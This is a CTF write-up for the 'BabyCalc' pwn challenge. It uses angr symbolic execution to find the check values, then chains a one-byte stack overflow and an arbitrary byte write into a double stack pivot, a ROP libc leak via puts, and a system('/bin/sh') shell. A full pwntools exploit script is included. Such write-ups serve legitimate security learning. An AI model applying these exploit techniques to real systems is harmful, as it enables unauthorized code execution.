I was delighted to play in the WestLake CTF this year alongside my younger schoolmates and to see their high level of skill despite being only sophomores. Kudos to the younger generation, their future is certainly promising!

BabyCalc

Upon examining the code, I found that we are required to input 16 numbers which will be saved on the stack and then used in the huge following if expressions. Only we input the correct numbers which pass the expressions, can we return from the vuln function. Otherwise, we would exit directly.

So, my first step is to conduct symbolic execution on the program to find the valid input.

symbolic execution with angr

Angr is great tool to help us with progress. Since our input numbers would be saved on the stack as 16 bytes, we could inject two 64 bits of symbolic variables on the stack and set the if statement as our initial state, so that we could skip the read part and make the whole process more stable.

import angr
import claripy

path_to_binary = './babycalc'
p = angr.Project(path_to_binary, auto_load_libs=False)

# start address: after input the number on the stack
start_addr = 0x40080a
init_state = p.factory.blank_state(addr=start_addr)

good_addr = 0x400ba6
bad_addr = 0x400bad

v1 = claripy.BVS('v1', 64)
v2 = claripy.BVS('v2', 64)

## set the symbolic variable on the stack
init_state.mem[init_state.regs.rbp - 0x30].uint64_t = v1
init_state.mem[init_state.regs.rbp - 0x28].uint64_t = v2


# start angr and explore
simgr = p.factory.simgr(init_state)
simgr.explore(find=good_addr, avoid=bad_addr)

if simgr.found:
    solution_state = simgr.found[0]
    s0 = solution_state.solver.eval(v1)
    s1 = solution_state.solver.eval(v2)
    print(hex(s0), hex(s1))
else:
    raise Exception('Could not find')

After waiting for a few seconds, we could get the valid numbers as follows.

arbitrary one-byte write and out-of-bound overwrite

After we got the numbers that allowed us to return from the current function, we needed to find other vulnerabilities that let us leak the glibc and get a shell.

Here are actually two vulnerabilities.

From the following two lines, we can find that if we input 0x100 bytes, and last byte of rbp would be overwritten with 0x00, since the stack size is 0x100, which is called the out-of-bound overwrite. This will allow us to change the layout of the stack or conduct a stack pivot, for instance, filling the rbp-00 as our fake rbp address and following a rop chain on the stack and then ret twice to our fake stack frame.

sVar1 = read(0,local_108,0x100); # if we input 0x100 bytes
local_108[(int)sVar1] = '\0'; # then local_108[0x100] = 0x00

For the following two lines, we are able to achieve an arbitrary one-byte write since the stack size is 0x100 and our input is up to 0x100, indicating that all the local variables on the stack are controllable. So, we could put our designed value on the very first of our input and fill the local_c with a calculated offset value to overwrite a byte on the stack.

lVar2 = strtol(local_108,(char **)0x0,10);
local_38[local_c] = (byte)lVar2;

004007ed 48 89 c7        MOV        RDI,RAX
004007f0 e8 1b fe        CALL       <EXTERNAL>::strtol                               
        ff ff
004007f5 89 c2           MOV        EDX,EAX
004007f7 8b 45 fc        MOV        EAX,dword ptr [RBP + local_c]
004007fa 48 98           CDQE
004007fc 88 54 05 d0     MOV        byte ptr [RBP + RAX*0x1 + -0x30],DL

It should also be noted that when we return from the vuln and decide to return from the main function and arrive at our fake rbp on the stack, the origin stack smashed instructions of main are not leave; ret. The missing leave instruction indicates that we cannot manipulate our rsp pointer to the current rbp and point to the rop chain further.

That is why we need this arbitrary one-byte write to make the current ret address point to another leave, ret instructions so that we could return twice as expected.

stack pivot

With the above two vulnerabilities, we could carefully design our stack. However, there are a few constraints that need to bear in mind.

  1. the payload size should be 0x100, so that the rbp's last byte would be overwritten with 0x00
  2. the rbp-0x30 and rbp-0x28 should be 0xa111423746352413 and 0x0318c77665d48332 to bypass the if conditions and successfully return from the function
  3. using one byte overwrite to overwrite the ret address to leave, ret, i.e. write the 0x400c3c -> 0x400c18
  4. the fake rbp and rop chain will be placed on the rbp-00 place
  5. only can return to main instead of vuln function, since we need the second stack pivot attack, rbp should be a valid stack address(use an figure to show)

An important thing to note is that the rbp address should be carefully selected (ends with 0xb0 is perfect) so that the numbers(rbp-0x30) and the fake stack(current rbp-00) won't be overlapped. And we also need the second rbp address meets this requirement, which is why I input so many ret instruction in the first top chain that could adjust the rbp(rsp) address of our second stack pivot.

Therefore, the payload would be:

## suppose the rbp ends with 0xb0
payload = b'24' + b'A'*(0x50-0x2) # 0x50
## add 10 ret to make the fake rbp ends with 0x60
payload += p64(0xdeadbeef) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(ret_addr)*10 + p64(main_addr) + p64(0x400c18) # 0x80
payload += b'A' * (0xD0-0x80-0x50) ## empty
payload += p64(int('0xa111423746352413', 16)) + p64(int('0x0318c77665d48332', 16)) # 0x10
payload += b'A' * 0x1C + p32(0x38) ## overwrite the ret address
sh.sendline(payload)

Finally, the stack should look like:

Once we leak the glibc address, we could conduct our second payload to get a shell.

payload = b'24' + b'A'*(0xA0-0x2) # 0xA0
payload += p64(0xdeadbeef) + p64(ret_addr) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(0xdeadbeef) # 0x30
payload += p64(int('0xa111423746352413', 16)) + p64(int('0x0318c77665d48332', 16)) # 0x10
payload += b'A' * 0x1C + p32(0x38) # 0x20
sh.sendline(payload)

During the stack pivoting, actually, we need the fake rbp value should be a valid stack address so that we can achieve the second stack pivot to finally get a shell. However, since in this case, we aren't able to leak any stack address, we could ret to its parent function and call this vuln function again to obtain a valid rbp address. That's why I return to the main function rather than the vuln function itself.

If we return to the vuln function, after we send the second payload, the new function stack(second time) will look like the following figure which we can see that since the current rbp is not a valid address, overwriting its last byte to 0x00 cannot lead us to our fake rbp.

However, if we return to the main function, the new stack would look like this:

Finally, here is the exploit script.

from pwn import *
from LibcSearcher import *
from sys import *

# context.log_level='debug'
context.arch = 'amd64'
context.endian = 'little'
remote_host = "xxx.xxx.xxx.xxx"
remote_port = xxx
binary_path = "your_binary_path"
binary = ELF(binary_path)
# Libc = ELF("./libc-2.31.so")

def start():
    if len(sys.argv) == 2 and sys.argv[1] == 'd':
        context.terminal = ['tmux','splitw','-h']
        sh = gdb.debug(binary_path, gdbscript="""
        b *0x400ba6
        c
        """)
    elif len(sys.argv) == 2 and sys.argv[1] == 'r':
        sh = remote(remote_host, remote_port)
    else:
        sh = process(binary_path)
    return sh

sh = start()

#—————————————————— First Round: stack pivot to leak the glibc ————————————————
sh.recvline() # recv the logo

input_number_1 = "a111423746352413" # 0xa111423746352413 rbp-0x30
input_number_2 = "0318c77665d48332" # 0x0318c77665d48332 rbp-0x28

input_number_1 = [input_number_1[i:i+2] for i in range(0, len(input_number_1), 2)][::-1]
input_number_2 = [input_number_2[i:i+2] for i in range(0, len(input_number_2), 2)][::-1]
input_number = input_number_1 + input_number_2

for i in range(1, 16):
    sh.recvuntil(b"number-%d:" % i)
    current_input = str(int(input_number[i-1], 16))
    sh.sendline(current_input)

### during the the last round: input our rop chain!
sh.recvuntil(b"number-16:")
current_input = str(int(input_number[-1], 16))

### rbp-0xc0 is its parents's rbp
pop_rdi_addr = 0x400ca3
ret_addr = 0x400bb8
puts_got_addr = binary.got["puts"]
puts_plt_addr = binary.plt['puts']
vuln_addr = 0x400789
main_addr = 0x400c1a

## last payload size should be 0x100, so that the rbp's last byte would be overwrited with 00
## the rbp-0x30 and rbp-0x28 should be 0xa111423746352413 and 0x0318c77665d48332
## use the one byte overwrite the overwrite the ret to leave, ret, i.e. write the 0x400c3c -> 0x400c18
## the rop chain should be placed on the rbp-00 place
## we can only retrun to main instead of vuln, since we need the second stack pivot attack, rbp should be an valid stack address

## suppose the rbp ends with 0xb0
payload = b'24' + b'A'*(0x50-0x2) # 0x50
### 1. add ret address for the fake rbp 2. add 2 ret to make the fake rbp ends with 0x60
payload += p64(0xdeadbeef) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(ret_addr)*10 + p64(main_addr) + p64(0x400c18) # 0x80
payload += b'A' * (0xD0-0x80-0x50) ## empty
payload += p64(int('0xa111423746352413', 16)) + p64(int('0x0318c77665d48332', 16)) # 0x10
payload += b'A' * 0x1C + p32(0x38) ## overwrite the ret address
sh.sendline(payload)
print("[+] payload sent: %s" % payload)

sh.recvuntil(b'good done\n')

### leak the addr of the puts function
puts_address = int.from_bytes(sh.recvline()[:-1].ljust(8,b'\x00'), 'little')
print('[+]\033[32m Wow! We got the put func address: %s \033[0m' % hex(puts_address))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_puts_addr_s = libc.symbols['puts']
libcbase = puts_address - libc_puts_addr_s
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b"/bin/sh"))

print('[+]\033[32m Wow! We got the system func address: %s \033[0m' % hex(system_addr))
print('[+]\033[32m Wow! We got the binsh string address: %s \033[0m' % hex(binsh_addr))

#—————————————————— Second Round: stack pivot to get shell ————————————————
### seems that the first input should be 00
sh.recvline() # recv the logo
for i in range(1, 15):
    sh.recvuntil(b":")
    current_input = str(int(input_number[i-1], 16))
    sh.sendline(current_input)
sh.recvuntil(b":")

## the rbp ends with 0x60 this time
payload = b'24' + b'A'*(0xA0-0x2) # 0xA0
payload += p64(0xdeadbeef) + p64(ret_addr) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(0xdeadbeef) # 0x30
payload += p64(int('0xa111423746352413', 16)) + p64(int('0x0318c77665d48332', 16)) # 0x10
payload += b'A' * 0x1C + p32(0x38) # 0x20
sh.sendline(payload)

print("[+] payload sent: %s" % payload)

sh.recvuntil(b'good done')

sh.interactive()